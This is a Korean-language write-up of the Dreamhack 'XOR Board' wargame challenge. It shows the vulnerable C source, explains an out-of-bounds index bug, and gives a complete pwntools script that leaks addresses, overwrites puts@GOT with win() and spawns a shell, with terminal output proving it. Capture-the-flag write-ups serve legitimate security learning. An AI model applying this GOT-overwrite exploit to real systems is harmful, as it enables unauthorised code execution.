[dreamhack] XOR Board writeup

1. 문제

thumbnail
XOR Board

여기에서는 XOR이 어떻게 동작하는지 배울 수 있어요!
혹시 win 함수를 부르는 방법을 찾을 수 있나요?

https://dreamhack.io/wargame/challenges/1211

2. 풀이


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

uint64_t arr[64] = {0};

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    for (int i = 0; i < 64; i++)
        arr[i] = 1ul << i;
}

void print_menu() {
    puts("1. XOR two values");
    puts("2. Print one value");
    printf("> ");
}

void xor() {
    int32_t i, j;
    printf("Enter i & j > ");
    scanf("%d%d", &i, &j);
    arr[i] ^= arr[j];
}

void print() {
    uint32_t i;
    printf("Enter i > ");
    scanf("%d", &i);
    printf("Value: %lx\n", arr[i]);
}

void win() {
    system("/bin/sh");
}

int main() {
    int option, i, j;

    initialize();
    while (1) {
        print_menu();
        scanf("%d", &option);
        if (option == 1) {
            xor();
        } else if (option == 2) {
            print();
        } else {
            break;
        }
    }

    return 0;
}

1부터 2의 제곱을 해가면서 2^63까지의 값이 채워진 XOR Board가 전역변수 arr에 들어가있다. 그리고 배열 내의 값을 서로 xor 하고 출력할 수 있는 함수이다.

취약점은 xor을 하기 위해 전역변수 arr에 들어가는 인덱스 값들을 검증하지 않기 때문에 out-of-bound가 발생한다.


이 취약점으로 우리는 arr 주변에 있는 값들에 접근이 가능하다. 먼저 win 함수의 주소와 puts@got 값도 leak을 할 수 있다. 그리고 puts@got 값에 win함수의 주소를 덮어씌운 후 puts함수를 실행하면 win함수가 실행될 것이다.

먼저 필요한 값들부터 leak을 하기 위해서 arr[0]arr[1]을 각각 win함수가 들어있는 code 영역의 주소와 puts@got값과 xor하였다. 이러면 그냥 0x10x2를 각 값들과 xor한 것이기 때문에 쉽게 구해진다.

이후에 puts@got에 들어가 있는 값에 어떤 값을 xor해서 win함수 주소로 만들어야 하기 때문에 아래를 만족하는 값을 xor을 통해 만들어야 한다.

target = win_addr ^ puts_got
win_addr = target ^ puts_got

이 값을 지금은 그냥 0이 들어가있는 arr[64] 위치에 만들기로 했다. 이 target을 한비트씩 줄이면서 1이면 해당 값을 xor해서 더하고, 0이면 넘어가도록 작성했다.

그리고 만들어진 target 값을 puts_got에 들어가있는 값과 xor시키면 win함수 주소가 들어가게 되고, 바로 puts함수가 실행되기 때문에 쉘을 얻을 수 있다.

from pwn import *

p = process("./main")
p = remote("host8.dreamhack.games", 11393)

# 1. get win addr
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"0 -7")

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"0")
p.recvuntil(b"Value: ")

win_addr = int(p.recv(12), 16) - 1 - 0x209b


# 2. get puts@got
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"1 -19")

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.recvuntil(b"Value: ")

puts_got = int(p.recv(12), 16) - 0x2

target = win_addr ^ puts_got
print(hex(target))

# 3. withdraw arr[0], arr[1] b/c it is contaminated
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"0 -7")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"1 -19")

# 4. overwrite arr[64] to target
bits = []
for i in range(target.bit_length()):
    if (target >> i) & 1:
        #bits.append(i)
        p.sendlineafter(b"> ", b"1")
        p.sendlineafter(b"> ", b"64 " + str(i).encode())

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"64")
p.recvuntil(b"Value: ")
print(hex(int(p.recv(12), 16)))

# 5. overwrite puts@got by win_addr
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-19 64")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/XOR_Board/deploy$ python3 e_XOR_Board.py 
[+] Starting local process './main': pid 3245812
0x2aa97666080d
0x2aa97666080d
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~